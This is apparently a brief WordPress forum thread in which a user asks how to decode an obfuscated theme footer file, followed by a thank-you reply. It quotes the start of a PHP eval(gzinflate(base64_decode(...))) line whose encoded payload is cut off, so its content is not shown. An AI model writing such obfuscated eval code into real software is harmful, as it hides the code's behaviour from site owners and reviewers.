 * I am trying to adjust the footer file of a theme, but the file is gibberish. 
   Is there anyway to decrypt this?
 * Here is the code …
 * `<?php eval(gzinflate(base64_decode("bVFNa8MwDL0X+h+0XNIeEm8UdlhTl8HOWw+DHYtjq4m2xDa206ywHz8noaX7uBhZ0ntP0tvy4ibLoMSKNByMCeggy3jBFB35fFZsbW1hPqsw7D0pLIVbLNfz2XaoDcBdg8IjxPeIIDvnUAeQDhUFD6SDkAGEVmA0KPK2EaeBPoIjP5DaJJNmwqMIwM70GLFQnqAQUDs8bJI6BPvAWN/

 * No problem. Credit goes to the folks in that link, and to Otto42 for links to
   some tools that make it such a short job.
 * Peace.
